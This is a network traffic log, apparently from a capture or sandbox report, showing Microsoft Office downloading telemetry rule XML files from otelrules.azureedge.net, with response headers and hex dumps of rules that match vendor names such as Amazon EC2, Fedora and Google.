2024-11-17 02:42:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024235Z-1866b5c5fbbzzh8chC1DFWdrc400000003c00000000093w6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:35 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:35 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024235Z-16547b76f7fgvq8chC1DFWhd2w00000004ag000000004run x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:35 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024235Z-16547b76f7fzwxm2hC1DFWt5hw000000016g00000000kmgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:35 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024235Z-16547b76f7fpdsp9hC1DFW8f50000000019g000000008ezy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:35 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:35 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024235Z-16547b76f7fljddfhC1DFWeqbs00000004kg000000004zhm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:35 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:36 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024236Z-164f84587bfbvgrghC1DFWbs7w00000003s0000000000bff x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 02:42:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d2131438-301e-006e-59dc-37f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024236Z-164f84587bf7k72dhC1DFWvczs00000003rg00000000683e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:36 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024236Z-1866b5c5fbbldb6rhC1DFW4bew00000003z0000000004phd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:36 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 04c36cdc-401e-002a-6f4a-38c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024236Z-164f84587bf7jb9dhC1DFWkay4000000037000000000mf57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:36 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0ff73494-201e-0085-1d7b-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024236Z-164f84587bfrrmqdhC1DFWvu6s000000029g00000000atsy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:36 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024236Z-16547b76f7f2b5qzhC1DFWeag400000001ug00000000h32u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:36 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024237Z-16547b76f7fl5zvnhC1DFWtk9g0000000270000000000139 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O 